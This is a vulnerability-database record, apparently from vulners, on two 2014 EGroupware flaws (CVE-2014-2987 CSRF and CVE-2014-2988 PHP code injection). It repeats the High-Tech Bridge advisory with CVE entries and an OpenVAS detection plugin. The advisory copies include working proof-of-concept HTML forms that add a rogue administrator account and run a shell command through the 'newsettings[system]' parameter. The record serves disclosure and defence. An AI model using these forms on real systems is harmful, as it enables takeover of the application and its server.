{"id": "SECURITYVULNS:DOC:30855", "bulletinFamily": "software", "title": "CSRF and Remote Code Execution in EGroupware", "description": "\r\n\r\nAdvisory ID: HTB23212\r\nProduct: EGroupware\r\nVendor: http://www.egroupware.org/\r\nVulnerable Version(s): 1.8.006 community edition and probably prior\r\nTested Version: 1.8.006 community edition\r\nAdvisory Publication: April 23, 2014 [without technical details]\r\nVendor Notification: April 23, 2014 \r\nVendor Patch: May 6, 2014 \r\nPublic Disclosure: May 14, 2014 \r\nVulnerability Type: Cross-Site Request Forgery [CWE-352], Code Injection [CWE-94]\r\nCVE References: CVE-2014-2987, CVE-2014-2988\r\nRisk Level: High \r\nCVSSv2 Base Scores: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P), 8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)\r\nSolution Status: Fixed by Vendor\r\nDiscovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) \r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nAdvisory Details:\r\n\r\nHigh-Tech Bridge Security Research Lab discovered CSRF and Remote Code Execution vulnerabilities in EGroupware, which can be exploited by remote attacker to gain full control over the application and compromise vulnerable system.\r\n\r\n\r\n1) \u0421ross-Site Request Forgery (CSRF) in EGroupware: CVE-2014-2987\r\n\r\n\r\nThe vulnerability exists due to insufficient verification of the HTTP request origin. A remote attacker can create a new user account with administrative privileges by tricking logged-in Groupware administrator to visit a malicious pages with CSRF exploit. \r\n\r\nSimple CSRF exploit below creates new administrator with login "immuniweb" and password "immuniweb":\r\n\r\n\r\n<form action="http://[host]/index.php?menuaction=admin.uiaccounts.add_user" method="post" name="main">\r\n<input type="hidden" name="account_lid" value="immuniweb">\r\n<input type="hidden" name="account_status" value="A">\r\n<input type="hidden" name="account_firstname" value="firstname">\r\n<input type="hidden" name="account_lastname" value="lastname">\r\n<input type="hidden" name="account_passwd" value="immuniweb">\r\n<input type="hidden" name="account_passwd_2" value="immuniweb">\r\n<input type="hidden" name="changepassword" value="1">\r\n<input type="hidden" name="expires" value="2014/04/29">\r\n<input type="hidden" name="never_expires" value="True">\r\n<input type="hidden" name="account_email" value="immuniweb@immuniweb.com">\r\n<input type="hidden" name="account_groups[]" value="-2">\r\n<input type="hidden" name="account_primary_group" value="-2">\r\n<input type="hidden" name="submit" value="Add">\r\n<input type="submit" id="btn">\r\n</form>\r\n\r\n\r\n\r\n2) Code Injection in EGroupware: CVE-2014-2988\r\n\r\n\r\nThe vulnerability exists due to insufficient sanitisation of input data passed via the HTTP POST "newsettings" parameter to PHP function "call_user_func()". A remote attacker with administrative privileges can inject and execute arbitrary PHP code on the target system with privileges of the webserver. \r\n\r\n\r\nThis vulnerability can be exploited in pair with the above-described CSRF vulnerability.\r\n\r\nThe following exploitation example writes "immuniweb" word into file "/1.php":\r\n\r\n\r\n<form action="http://[host]/index.php?menuaction=admin.uiconfig.index&appname=phpbrain" method="post" name="main">\r\n<input type="hidden" name="newsettings[system]" value="echo immuniweb>1.php">\r\n<input type="hidden" name="submit" value="Save">\r\n<input type="submit" id="btn">\r\n</form>\r\n\r\n\r\n\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nSolution:\r\n\r\nUpdate to EGroupware version 1.8.007\r\n\r\nMore Information:\r\nhttp://www.egroupware.org/forum#nabble-td3997580\r\nhttp://www.egroupware.org/changelog\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nReferences:\r\n\r\n[1] High-Tech Bridge Advisory HTB23212 - https://www.htbridge.com/advisory/HTB23212 - CSRF and Remote Code Execution in EGroupware.\r\n[2] EGroupware - http://www.egroupware.org/ - EGroupware is the leading open source collaboration tool and the top choice for big enterprises, SMEs and teams within and across organizations all over the globe.\r\n[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE\u00ae is a dictionary of publicly known information security vulnerabilities and exposures.\r\n[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.\r\n[5] ImmuniWeb\u00ae SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nDisclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.\r\n\r\n", "published": "2014-06-14T00:00:00", "modified": "2014-06-14T00:00:00", "cvss": {"score": 8.5, "vector": "AV:NETWORK/AC:MEDIUM/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:30855", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2014-2987", "CVE-2014-2988"], "type": "securityvulns", "lastseen": "2018-08-31T11:10:52", "edition": 1, "viewCount": 18, "enchantments": {"score": {"value": 7.4, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2014-2987", "CVE-2014-2988"]}, {"type": "exploitdb", "idList": ["EDB-ID:33389"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:D9C3553F17023C8E5907292310EEE30D"]}, {"type": "htbridge", "idList": ["HTB23212"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310108066"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:126643"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:13778", "SECURITYVULNS:VULN:13836"]}, {"type": "zdt", "idList": ["1337DAY-ID-22256"]}], "rev": 4}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2014-2987", "CVE-2014-2988"]}, {"type": "exploitdb", "idList": ["EDB-ID:33389"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:D9C3553F17023C8E5907292310EEE30D"]}, {"type": "htbridge", "idList": ["HTB23212"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310108066"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:126643"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:13778"]}]}, "exploitation": null, "vulnersScore": 7.4}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1646675608}}

{"exploitpack": [{"lastseen": "2020-04-01T19:05:49", "description": "\neGroupWare 1.8.006 - Multiple Vulnerabilities", "edition": 2, "published": "2014-05-16T00:00:00", "title": "eGroupWare 1.8.006 - Multiple Vulnerabilities", "type": "exploitpack", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.5, "vectorString": "AV:N/AC:M/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-2987", "CVE-2014-2988"], "modified": "2014-05-16T00:00:00", "id": "EXPLOITPACK:D9C3553F17023C8E5907292310EEE30D", "href": "", "sourceData": "Advisory ID: HTB23212\nProduct: EGroupware\nVendor: http://www.egroupware.org/\nVulnerable Version(s): 1.8.006 community edition and probably prior\nTested Version: 1.8.006 community edition\nAdvisory Publication: April 23, 2014 [without technical details]\nVendor Notification: April 23, 2014 \nVendor Patch: May 6, 2014 \nPublic Disclosure: May 14, 2014 \nVulnerability Type: Cross-Site Request Forgery [CWE-352], Code Injection [CWE-94]\nCVE References: CVE-2014-2987, CVE-2014-2988\nRisk Level: High \nCVSSv2 Base Scores: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P), 8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)\nSolution Status: Fixed by Vendor\nDiscovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) \n\n-----------------------------------------------------------------------------------------------\n\nAdvisory Details:\n\nHigh-Tech Bridge Security Research Lab discovered CSRF and Remote Code Execution vulnerabilities in EGroupware, which can be exploited by remote attacker to gain full control over the application and compromise vulnerable system.\n\n\n1) \u0421ross-Site Request Forgery (CSRF) in EGroupware: CVE-2014-2987\n\n\nThe vulnerability exists due to insufficient verification of the HTTP request origin. A remote attacker can create a new user account with administrative privileges by tricking logged-in Groupware administrator to visit a malicious pages with CSRF exploit. \n\nSimple CSRF exploit below creates new administrator with login \"immuniweb\" and password \"immuniweb\":\n\n\n<form action=\"http://[host]/index.php?menuaction=admin.uiaccounts.add_user\" method=\"post\" name=\"main\">\n<input type=\"hidden\" name=\"account_lid\" value=\"immuniweb\">\n<input type=\"hidden\" name=\"account_status\" value=\"A\">\n<input type=\"hidden\" name=\"account_firstname\" value=\"firstname\">\n<input type=\"hidden\" name=\"account_lastname\" value=\"lastname\">\n<input type=\"hidden\" name=\"account_passwd\" value=\"immuniweb\">\n<input type=\"hidden\" name=\"account_passwd_2\" value=\"immuniweb\">\n<input type=\"hidden\" name=\"changepassword\" value=\"1\">\n<input type=\"hidden\" name=\"expires\" value=\"2014/04/29\">\n<input type=\"hidden\" name=\"never_expires\" value=\"True\">\n<input type=\"hidden\" name=\"account_email\" value=\"immuniweb@immuniweb.com\">\n<input type=\"hidden\" name=\"account_groups[]\" value=\"-2\">\n<input type=\"hidden\" name=\"account_primary_group\" value=\"-2\">\n<input type=\"hidden\" name=\"submit\" value=\"Add\">\n<input type=\"submit\" id=\"btn\">\n</form>\n\n\n\n2) Code Injection in EGroupware: CVE-2014-2988\n\n\nThe vulnerability exists due to insufficient sanitisation of input data passed via the HTTP POST \"newsettings\" parameter to PHP function \"call_user_func()\". A remote attacker with administrative privileges can inject and execute arbitrary PHP code on the target system with privileges of the webserver. \n\n\nThis vulnerability can be exploited in pair with the above-described CSRF vulnerability.\n\nThe following exploitation example writes \"immuniweb\" word into file \"/1.php\":\n\n\n<form action=\"http://[host]/index.php?menuaction=admin.uiconfig.index&appname=phpbrain\" method=\"post\" name=\"main\">\n<input type=\"hidden\" name=\"newsettings[system]\" value=\"echo immuniweb>1.php\">\n<input type=\"hidden\" name=\"submit\" value=\"Save\">\n<input type=\"submit\" id=\"btn\">\n</form>\n\n\n\n\n-----------------------------------------------------------------------------------------------\n\nSolution:\n\nUpdate to EGroupware version 1.8.007\n\nMore Information:\nhttp://www.egroupware.org/forum#nabble-td3997580\nhttp://www.egroupware.org/changelog\n\n-----------------------------------------------------------------------------------------------\n\nReferences:\n\n[1] High-Tech Bridge Advisory HTB23212 - https://www.htbridge.com/advisory/HTB23212 - CSRF and Remote Code Execution in EGroupware.\n[2] EGroupware - http://www.egroupware.org/ - EGroupware is the leading open source collaboration tool and the top choice for big enterprises, SMEs and teams within and across organizations all over the globe.\n[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE\u00ae is a dictionary of publicly known information security vulnerabilities and exposures.\n[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.\n[5] ImmuniWeb\u00ae SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.\n\n-----------------------------------------------------------------------------------------------\n\nDisclaimer: The information provided in this Advisory is provided \"as is\" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}}], "htbridge": [{"lastseen": "2020-12-24T11:21:26", "description": "High-Tech Bridge Security Research Lab discovered CSRF and Remote Code Execution vulnerabilities in EGroupware, which can be exploited by remote attacker to gain full control over the application and compromise vulnerable system. \n \n1) \u0421ross-Site Request Forgery (CSRF) in EGroupware: CVE-2014-2987 \n \nThe vulnerability exists due to insufficient verification of the HTTP request origin. A remote attacker can create a new user account with administrative privileges by tricking logged-in Groupware administrator to visit a malicious pages with CSRF exploit. \nSimple CSRF exploit below creates new administrator with login \"immuniweb\" and password \"immuniweb\": \n&lt;form action=\"http://[host]/index.php?menuaction=admin.uiaccounts.add_user\" method=\"post\" name=\"main\"&gt; \n&lt;input type=\"hidden\" name=\"account_lid\" value=\"immuniweb\"&gt; \n&lt;input type=\"hidden\" name=\"account_status\" value=\"A\"&gt; \n&lt;input type=\"hidden\" name=\"account_firstname\" value=\"firstname\"&gt; \n&lt;input type=\"hidden\" name=\"account_lastname\" value=\"lastname\"&gt; \n&lt;input type=\"hidden\" name=\"account_passwd\" value=\"immuniweb\"&gt; \n&lt;input type=\"hidden\" name=\"account_passwd_2\" value=\"immuniweb\"&gt; \n&lt;input type=\"hidden\" name=\"changepassword\" value=\"1\"&gt; \n&lt;input type=\"hidden\" name=\"expires\" value=\"2014/04/29\"&gt; \n&lt;input type=\"hidden\" name=\"never_expires\" value=\"True\"&gt; \n&lt;input type=\"hidden\" name=\"account_email\" value=\"immuniweb@immuniweb.com\"&gt; \n&lt;input type=\"hidden\" name=\"account_groups[]\" value=\"-2\"&gt; \n&lt;input type=\"hidden\" name=\"account_primary_group\" value=\"-2\"&gt; \n&lt;input type=\"hidden\" name=\"submit\" value=\"Add\"&gt; \n&lt;input type=\"submit\" id=\"btn\"&gt; \n&lt;/form&gt; \n \n2) Code Injection in EGroupware: CVE-2014-2988 \n \nThe vulnerability exists due to insufficient sanitisation of input data passed via the HTTP POST \"newsettings\" parameter to PHP function \"call_user_func()\". A remote attacker with administrative privileges can inject and execute arbitrary PHP code on the target system with privileges of the webserver. \n \nThis vulnerability can be exploited in pair with the above-described CSRF vulnerability. \nThe following exploitation example writes \"immuniweb\" word into file \"/1.php\": \n&lt;form action=\"http://[host]/index.php?menuaction=admin.uiconfig.index&amp;appname=phpb rain\" method=\"post\" name=\"main\"&gt; \n&lt;input type=\"hidden\" name=\"newsettings[system]\" value=\"echo immuniweb&gt;1.php\"&gt; \n&lt;input type=\"hidden\" name=\"submit\" value=\"Save\"&gt; \n&lt;input type=\"submit\" id=\"btn\"&gt; \n&lt;/form&gt; \n\n", "edition": 2, "published": "2014-04-23T00:00:00", "type": "htbridge", "title": "CSRF and Remote Code Execution in EGroupware", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.5, "vectorString": "AV:N/AC:M/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-2987", "CVE-2014-2988"], "modified": "2014-04-23T00:00:00", "id": "HTB23212", "href": "https://www.htbridge.com/advisory/HTB23212", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C/"}}], "openvas": [{"lastseen": "2019-05-29T18:34:21", "bulletinFamily": "scanner", "cvelist": ["CVE-2014-2987", "CVE-2014-2988"], "description": "EGroupware is prone to multiple CSRF and remote PHP code-execution vulnerabilities.", "modified": "2018-10-12T00:00:00", "published": "2017-02-01T00:00:00", "id": "OPENVAS:1361412562310108066", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310108066", "type": "openvas", "title": "EGroupware Multiple CSRF and Remote Code Execution Vulnerabilities", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_egroupware_2014_mult_vuln.nasl 11863 2018-10-12 09:42:02Z mmartin $\n#\n# EGroupware Multiple CSRF and Remote Code Execution Vulnerabilities\n#\n# Authors:\n# Christian Fischer <christian.fischer@greenbone.net>\n#\n# Copyright:\n# Copyright (c) 2017 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = \"cpe:/a:egroupware:egroupware\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.108066\");\n script_version(\"$Revision: 11863 $\");\n script_cve_id(\"CVE-2014-2987\", \"CVE-2014-2988\");\n script_bugtraq_id(67303, 67409);\n script_tag(name:\"cvss_base\", value:\"8.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:S/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-10-12 11:42:02 +0200 (Fri, 12 Oct 2018) $\");\n script_tag(name:\"creation_date\", value:\"2017-02-01 09:00:00 +0100 (Wed, 01 Feb 2017)\");\n script_name(\"EGroupware Multiple CSRF and Remote Code Execution Vulnerabilities\");\n script_category(ACT_GATHER_INFO);\n script_family(\"Web application abuses\");\n script_copyright(\"Copyright (c) 2017 Greenbone Networks GmbH\");\n script_dependencies(\"gb_egroupware_detect.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_mandatory_keys(\"egroupware/installed\");\n\n script_xref(name:\"URL\", value:\"http://www.securityfocus.com/bid/67303\");\n script_xref(name:\"URL\", value:\"http://www.securityfocus.com/bid/67409\");\n script_xref(name:\"URL\", value:\"http://www.egroupware.org/\");\n\n script_tag(name:\"summary\", value:\"EGroupware is prone to multiple CSRF and remote PHP code-execution vulnerabilities.\");\n\n script_tag(name:\"impact\", value:\"Successfully exploiting these issues will allow attackers to execute arbitrary\n code within the context of the application.\");\n\n script_tag(name:\"affected\", value:\"EGroupware Enterprise Line (EPL) before 11.1.20140505, EGroupware Community Edition\n before 1.8.007.20140506, and EGroupware before 14.1 beta.\");\n\n script_tag(name:\"solution\", value:\"Upgrade to:\n\n - EGroupware Enterprise Line (EPL) 11.1.20140505 or later\n\n - EGroupware Community Edition 1.8.007.20140506 or later\n\n - EGroupware 14.1 beta or later\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"remote_banner_unreliable\"); # The version exposed by the application is less detailed\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\n\nif( ! port = get_app_port( cpe:CPE ) ) exit( 0 );\nif( ! vers = get_app_version( cpe:CPE, port:port ) ) exit( 0 );\n\n# Version is only exposed as 1.8.007 without the date\nif( version_is_less( version:vers, test_version:\"1.8.007\" ) ) {\n vuln = TRUE;\n fix = \"1.8.007.20140506\";\n}\n\n# CVE says the vulnerable EPL version is 1.1.20140505 but the \"real\" EPL versions are 9.2 - 11.1\nif( version_in_range( version:vers, test_version:\"9\", test_version2:\"11.1.20140416\" ) ) {\n vuln = TRUE;\n fix = \"11.1.20140505\";\n}\n\nif( vuln ) {\n report = report_fixed_ver( installed_version:vers, fixed_version:fix );\n security_message( port:port, data:report );\n exit( 0 );\n}\n\nexit( 99 );", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2016-12-05T22:21:58", "description": "", "published": "2014-05-16T00:00:00", "type": "packetstorm", "title": "EGroupware 1.8.006 Cross Site Request Forgery / Code Injection", "bulletinFamily": "exploit", "cvelist": ["CVE-2014-2987", "CVE-2014-2988"], "modified": "2014-05-16T00:00:00", "id": "PACKETSTORM:126643", "href": "https://packetstormsecurity.com/files/126643/EGroupware-1.8.006-Cross-Site-Request-Forgery-Code-Injection.html", "sourceData": "`Advisory ID: HTB23212 \nProduct: EGroupware \nVendor: http://www.egroupware.org/ \nVulnerable Version(s): 1.8.006 community edition and probably prior \nTested Version: 1.8.006 community edition \nAdvisory Publication: April 23, 2014 [without technical details] \nVendor Notification: April 23, 2014 \nVendor Patch: May 6, 2014 \nPublic Disclosure: May 14, 2014 \nVulnerability Type: Cross-Site Request Forgery [CWE-352], Code Injection [CWE-94] \nCVE References: CVE-2014-2987, CVE-2014-2988 \nRisk Level: High \nCVSSv2 Base Scores: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P), 8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C) \nSolution Status: Fixed by Vendor \nDiscovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) \n \n----------------------------------------------------------------------------------------------- \n \nAdvisory Details: \n \nHigh-Tech Bridge Security Research Lab discovered CSRF and Remote Code Execution vulnerabilities in EGroupware, which can be exploited by remote attacker to gain full control over the application and compromise vulnerable system. \n \n \n1) \u0421ross-Site Request Forgery (CSRF) in EGroupware: CVE-2014-2987 \n \n \nThe vulnerability exists due to insufficient verification of the HTTP request origin. A remote attacker can create a new user account with administrative privileges by tricking logged-in Groupware administrator to visit a malicious pages with CSRF exploit. \n \nSimple CSRF exploit below creates new administrator with login \"immuniweb\" and password \"immuniweb\": \n \n \n<form action=\"http://[host]/index.php?menuaction=admin.uiaccounts.add_user\" method=\"post\" name=\"main\"> \n<input type=\"hidden\" name=\"account_lid\" value=\"immuniweb\"> \n<input type=\"hidden\" name=\"account_status\" value=\"A\"> \n<input type=\"hidden\" name=\"account_firstname\" value=\"firstname\"> \n<input type=\"hidden\" name=\"account_lastname\" value=\"lastname\"> \n<input type=\"hidden\" name=\"account_passwd\" value=\"immuniweb\"> \n<input type=\"hidden\" name=\"account_passwd_2\" value=\"immuniweb\"> \n<input type=\"hidden\" name=\"changepassword\" value=\"1\"> \n<input type=\"hidden\" name=\"expires\" value=\"2014/04/29\"> \n<input type=\"hidden\" name=\"never_expires\" value=\"True\"> \n<input type=\"hidden\" name=\"account_email\" value=\"immuniweb@immuniweb.com\"> \n<input type=\"hidden\" name=\"account_groups[]\" value=\"-2\"> \n<input type=\"hidden\" name=\"account_primary_group\" value=\"-2\"> \n<input type=\"hidden\" name=\"submit\" value=\"Add\"> \n<input type=\"submit\" id=\"btn\"> \n</form> \n \n \n \n2) Code Injection in EGroupware: CVE-2014-2988 \n \n \nThe vulnerability exists due to insufficient sanitisation of input data passed via the HTTP POST \"newsettings\" parameter to PHP function \"call_user_func()\". A remote attacker with administrative privileges can inject and execute arbitrary PHP code on the target system with privileges of the webserver. \n \n \nThis vulnerability can be exploited in pair with the above-described CSRF vulnerability. \n \nThe following exploitation example writes \"immuniweb\" word into file \"/1.php\": \n \n \n<form action=\"http://[host]/index.php?menuaction=admin.uiconfig.index&appname=phpbrain\" method=\"post\" name=\"main\"> \n<input type=\"hidden\" name=\"newsettings[system]\" value=\"echo immuniweb>1.php\"> \n<input type=\"hidden\" name=\"submit\" value=\"Save\"> \n<input type=\"submit\" id=\"btn\"> \n</form> \n \n \n \n \n----------------------------------------------------------------------------------------------- \n \nSolution: \n \nUpdate to EGroupware version 1.8.007 \n \nMore Information: \nhttp://www.egroupware.org/forum#nabble-td3997580 \nhttp://www.egroupware.org/changelog \n \n----------------------------------------------------------------------------------------------- \n \nReferences: \n \n[1] High-Tech Bridge Advisory HTB23212 - https://www.htbridge.com/advisory/HTB23212 - CSRF and Remote Code Execution in EGroupware. \n[2] EGroupware - http://www.egroupware.org/ - EGroupware is the leading open source collaboration tool and the top choice for big enterprises, SMEs and teams within and across organizations all over the globe. \n[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE\u00ae is a dictionary of publicly known information security vulnerabilities and exposures. \n[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. \n[5] ImmuniWeb\u00ae SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model. \n \n----------------------------------------------------------------------------------------------- \n \nDisclaimer: The information provided in this Advisory is provided \"as is\" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. \n`\n", "cvss": {"score": 8.5, "vector": "AV:NETWORK/AC:MEDIUM/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/126643/egroupware-xsrfinject.txt"}], "cve": [{"lastseen": "2022-03-23T12:45:43", "description": "Multiple cross-site request forgery (CSRF) vulnerabilities in EGroupware Enterprise Line (EPL) before 1.1.20140505, EGroupware Community Edition before 1.8.007.20140506, and EGroupware before 14.1 beta allow remote attackers to hijack the authentication of administrators for requests that (1) create an administrator user via an admin.uiaccounts.add_user action to index.php or (2) modify settings via the newsettings parameter in an admin.uiconfig.index action to index.php. NOTE: vector 2 can be used to execute arbitrary PHP code by leveraging CVE-2014-2988.", "cvss3": {}, "published": "2014-10-26T18:55:00", "type": "cve", "title": "CVE-2014-2987", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-2987", "CVE-2014-2988"], "modified": "2018-10-09T19:43:00", "cpe": ["cpe:/a:egroupware:egroupware:1.6.001", "cpe:/a:egroupware:egroupware:1.8006"], "id": "CVE-2014-2987", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2987", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:egroupware:egroupware:1.8006:*:*:*:community:*:*:*", "cpe:2.3:a:egroupware:egroupware:1.6.001:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T12:45:44", "description": "EGroupware Enterprise Line (EPL) before 1.1.20140505, EGroupware Community Edition before 1.8.007.20140506, and EGroupware before 14.1 beta allows remote authenticated administrators to execute arbitrary PHP code via crafted callback values to the call_user_func PHP function, as demonstrated using the newsettings[system] parameter. NOTE: this can be exploited by remote attackers by leveraging CVE-2014-2987.", "cvss3": {}, "published": "2014-10-27T01:55:00", "type": "cve", "title": "CVE-2014-2988", "cwe": ["CWE-94"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.5, "vectorString": "AV:N/AC:M/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-2987", "CVE-2014-2988"], "modified": "2018-10-09T19:43:00", "cpe": ["cpe:/a:egroupware:egroupware:1.6.001", "cpe:/a:egroupware:egroupware:1.8006"], "id": "CVE-2014-2988", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2988", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:egroupware:egroupware:1.8006:*:*:*:community:*:*:*", "cpe:2.3:a:egroupware:egroupware:1.6.001:*:*:*:*:*:*:*"]}], "exploitdb": [{"lastseen": "2022-05-04T17:44:36", "description": "", "cvss3": {}, "published": "2014-05-16T00:00:00", "type": "exploitdb", "title": "eGroupWare 1.8.006 - Multiple Vulnerabilities", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.5, "vectorString": "AV:N/AC:M/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["2014-2987", "CVE-2014-2987", "CVE-2014-2988"], "modified": "2014-05-16T00:00:00", "id": "EDB-ID:33389", "href": "https://www.exploit-db.com/exploits/33389", "sourceData": "Advisory ID: HTB23212\r\nProduct: EGroupware\r\nVendor: http://www.egroupware.org/\r\nVulnerable Version(s): 1.8.006 community edition and probably prior\r\nTested Version: 1.8.006 community edition\r\nAdvisory Publication: April 23, 2014 [without technical details]\r\nVendor Notification: April 23, 2014 \r\nVendor Patch: May 6, 2014 \r\nPublic Disclosure: May 14, 2014 \r\nVulnerability Type: Cross-Site Request Forgery [CWE-352], Code Injection [CWE-94]\r\nCVE References: CVE-2014-2987, CVE-2014-2988\r\nRisk Level: High \r\nCVSSv2 Base Scores: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P), 8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)\r\nSolution Status: Fixed by Vendor\r\nDiscovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 